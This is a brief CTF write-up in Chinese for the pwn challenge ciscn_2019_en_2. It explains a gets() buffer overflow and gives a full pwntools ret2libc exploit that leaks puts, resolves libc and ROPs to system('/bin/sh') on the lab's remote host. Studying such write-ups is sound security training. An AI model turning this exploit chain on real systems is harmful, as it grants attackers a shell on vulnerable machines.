ciscn_2019_en_2

ciscn_2019_en_2

Ubuntu 18

Checksec一下

Ida：

逻辑很简单，encrypt（）里gets函数存在溢出点，offest=0x58

程序里没有出现system函数的plt也没有binsh字段那我们就要ret2libc，但因为是Ubuntu18常规搜了一下ret

发现跟之前的ciscn_2019_c_1好像是一样的，然后确认了一下就直接把之前的exp拿来用了

Exp：

from pwn import*
from LibcSearcher import*
r=remote("node4.buuoj.cn",26768)
elf=ELF("./ciscn_2019_en_2")
pop_rdi_ret=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline("1")
r.recvuntil("encrypted\n")
payload=flat("a"*0x58)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
addr = u64(r.recv(6).ljust(0x8, b'\x00'))#puts_addr
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump('puts')
print(libcbase)
r.recv()
r.sendline("1")
r.recvuntil("encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
ret=0x4006b9
payload1=flat("a"*0x58)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_addr)
r.sendline(payload1)
r.interactive()

成功得到flag：